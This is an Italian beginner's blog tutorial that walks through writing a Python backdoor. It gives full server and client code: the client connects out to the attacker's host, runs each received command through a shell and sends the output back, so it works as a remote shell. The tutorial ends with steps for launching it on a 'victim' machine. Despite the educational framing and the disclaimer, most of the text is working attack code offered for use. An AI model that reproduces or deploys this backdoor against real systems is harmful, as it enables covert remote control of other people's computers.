Backdoor - Creazione di una connessione Client-Server basata su protocollo TCP
April 18, 2021
La guida
In questa guida vedremo di trattare il tema delle Backdoor, un metodo informatico per effettuare operazioni su un altro computer di “nascosto”.
Andremo ad utilizzare Python e come vedremo ci basteranno veramente poche righe di codice per sviluppare tutto ciò che ci serve, se vuoi saltare questa parte puoi scaricare direttamente il codice cliccando qui.
Non verrà trattato il tema di “Come far avere il file giusto alla nostra vittima” né tanto meno verranno trattati sistemi di sicurezza per prevenire questo attacco visto che l’obiettivo è mantenere un livello di difficoltà basso in modo tale da offrire degli strumenti di lavoro utili per iniziare a entrare nel mondo della Cyber Sicurezza.
Obiettivo
Il nostro obiettivo sarà quello di usare la libreria socket per creare il collegamento tra le due macchine e la libreria subprocess per lanciare il comando nel cmd di Windows.
N.B. Volendo si può usare la libreria os se si vuole puntare anche ad altri sistemi operativi
Cosa Serve
E' necessario avere installato Python su entrambe le macchine.
Una conoscenza minima di Python e delle Reti(TCP/IP, Connessioni, Client-Server ecc…)
Creazione Del Programma
- Server:
Per prima cosa importiamo la libreria socket
Python:
from socket import *
Adesso possiamo procedere alla creazione della nostra funzione connect() e subito dopo dichiariamo le variabili che c’interessano.
Python:
def connect():
sock = socket(AF_INET, SOCK_STREAM)
port = 12345
sock.bind(('', port))
sock.listen(1)
print("[+] Listening for incoming TCP connection on port ", port)
- def connect() Definizione della funzione connect()
- sock = socket(AF_INET, SOCK_STREAM) Andiamo a creare un socket che accetta connessioni di tipo TCP, se non sai che cos’è il protocollo TCP credo sia necessario approfondire l’argomento prima di proseguire
- port = 12345 Dichiarazione della porta, è fondamentale mantenersi tra 0 e 65.535 e sopratutto, come vedremo, avere la stessa porta nel file Server e nel file Client. Se non sai cos’è una porta o non sai a cosa serve allora ti consiglio di approfondire l’argomento prima di proseguire.
- sock.bind(('', port)) Associamo la nostra socket al nostro local address vincolandolo come Server, se vuoi approfondire l’argomento di lascio questa domanda su StackOverflow dove viene trattato in maniera molto semplice e chiara
- sock.listen(1) Settiamo il listen con 1 perché vogliamo gestire 1 sola connessione(quella della nostra vittima). In realtà possiamo ricevere anche connessioni da altre macchine, in questo caso la cosa migliore secondo me è fare prove autonomamente magari con 5/6 macchine e scoprire cosa succede.
- print(…) Una semplice stampa per abbellire il programma.
Una volta fatto ciò avremo tutte le carte in regola per accettare connessioni, andiamo quindi a vedere come settare le ultime cose prima di essere pronti a far partire il programma.
Python:
while 1:
conn, addr = sock.accept()
print("Connection from: ", addr)
while 1:
command = input("Shell> ")
if "terminate" in command:
conn.send("terminate")
conn.close()
break
else:
conn.send(command.encode())
print(conn.recv(1024).decode("utf-8") )
-
while 1: Manteniamo la connessione attiva teoricamente “per sempre”, dovremo stopparla noi con la terminazione del programma
-
conn, addr = sock.accept() Una volta che il nostro socket riceve una connessione sock.accept() si “attiverà” e farà ritornare due valori, rispettivamente la connessione(conn) e l’address(addr) della vittima connessa
-
print(“Connection from: “, addr) Una stampa per abbellire il programma che ci mostra l’indirizzo della vittima connesso al nostro server
-
while 1: Questo ciclo sarà attivo fino a che non viene indicato “terminate” in input che, anziché mandare il comando alla vittima, chiuderà la connessione e terminerà il ciclo
-
command = input(“Shell> “) Semplice acquisizione dell’input in Python
-
if “terminate” in command: Verifica che sia stato inserito “terminate” come comando
-
conn.send(“terminate”) Se è stato inserito “terminate” come comando, mando alla vittima “terminate” per far chiudere anche la sua connessione correttamente
-
conn.close() Chiudo la connessione del Server
-
break Esco dal ciclo che manteneva attiva la connessione al Client(vittima)
-
else: Se non è stato inserito “terminate”
-
conn.send(command.encode()) Mando tramite il comando conn.send(..) un messaggio al Client(vittima) ma visto che le funzioni send(…) e recv(…) possono ricevere solo blocchi a 1024 bytes allora sarà necessario usare il comando .encode() per codificarlo in modo tale che sia leggibile dalla rispettiva funzione. Su questa domanda viene approfondito l’argomento.
-
print(conn.recv(1024).decode(“utf-8”) ) Usiamo la funzione conn.recv(1024) per ricevere un blocco da 1024 bytes e subito dopo lo andiamo a decodificare in una stringa leggibile usando .decode(“utf-8”) che verrà stampata subito dopo tramite una semplice print(…)
- Client:
Per prima cosa andiamo ad includere la libreria socket per la connessione e subprocess per il comando da mandare nel rispettivo prompt dei comandi
Python:
from socket import *
import subprocess
Subito dopo possiamo andare a creare la funzione connect() che stabilizzerà la connessione con il server.
Python:
def connect():
conn = socket(AF_INET, SOCK_STREAM)
conn.connect(("192.168.1.9", 12345))
while 1:
command = conn.recv(1024)
command_decoded = command.decode("utf-8")
if "terminate" in command_decoded:
conn.close()
break
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
conn.send( CMD.stdout.read() )
-
def connect(): Creo la funzione connect()
-
conn = socket(AF_INET, SOCK_STREAM) Predispongo la connessione TCP
-
conn.connect((“192.168.1.9”, 12345)) Effettuo la connessione al Server(Noi) dichiarando indirizzo e porta
-
while 1: Ciclo teoricamente infinito, dobbiamo fermarlo noi tramite il comando “terminate”
-
command = conn.recv(1024) Riceviamo il comando in formato 1024 bytes
-
command_decoded = command.decode(“utf-8”) Decodifichiamo il comando ricevuto in utf-8
-
if “terminate” in command_decoded: Se il comando è “terminate” allora voglio terminare la connessione e quindi…
-
conn.close() Chiudo la connessione e…
-
break Esco dal ciclo while
-
else: Altrimenti, quindi se il comando inserito non è “terminate”
-
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) Invoco una funzione Popen della libreria subprocess che come parametri prende in primis command che è il nostro comando decodificato e poi una serie di parametri al momento non rilevanti ma che potete approfondire cliccando qui. CMD sarà sostanzialmente il risultato del comando, per vedere praticamente di cosa sto parlando vi ricordo che esiste questo video su YouTube.
-
conn.send( CMD.stdout.read() ) Tramite la funzione CMD.stdout.read() leggiamo l’output effettivo del comando precedentemente mandato e lo spediamo al nostro Server(Noi) tramite la funzione send(…)
Una volta fatto ciò avremo tutto per lanciare effettivamente la nostra Backdoor e vederla in azione!
Passiamo all’attacco
- Avviamo il programma server.py dalla nostra macchina
- Avviamo il programma client.py dalla macchina della vittima
- Shell> <comando da mandare alla vittima>
- Ripeti il punto 3 fino quando lo ritieni opportuno, poi inserisci terminate per chiudere le connessioni
Come potete vedere da questa immagine io ho mandato il comando “ipconfig”, che è un comando esclusivo di Windows, direttamente dalla mia macchina con Ubuntu 20.10
Conclusioni
Questa guida, per ovvi motivi, non può essere utilizzata per attacchi reali, bensì vuole essere un punto di partenza per iniziare a studiare, toccando con mano, il mondo delle Backdoor.
Spesso le parti Client-Server sono invertite perché in alcuni casi è meglio mantenere sempre attiva la macchina della vittima(Server=Vittima) e avviare quando si desidera la macchina nostra che, facendo da Client apre e chiude la connessione quando vogliamo.
In questo caso non è particolarmente rilevante ma a prescindere questa è una scelta determinata da diversi fattori tipo obiettivo di attacco, disponibilità di accesso, competenza informatica della vittima ecc…
Nota Bene
Questa guida non è un manuale per come fare danni ma tende a diffondere materiale di studio utile per approfondire certi temi sulla sicurezza informatica.
Qualora prendessi ciò di cui ho parlato per divulgarlo/usarlo con intendi malevoli io mi dissocio e sono totalmente esente dalle tue scelte.
Anche un tentato attaco mal riuscito è pursempre un reato e per tanto punibile secondo codice penale anche con la reclusione!
Se vuoi testare il programma allora attacca un altro tuo dispositivo come ho fatto io stesso in questa guida attaccando una macchina virtuale, se non sai come fare scrivilo nei commenti e ti aiuteremo ! ;)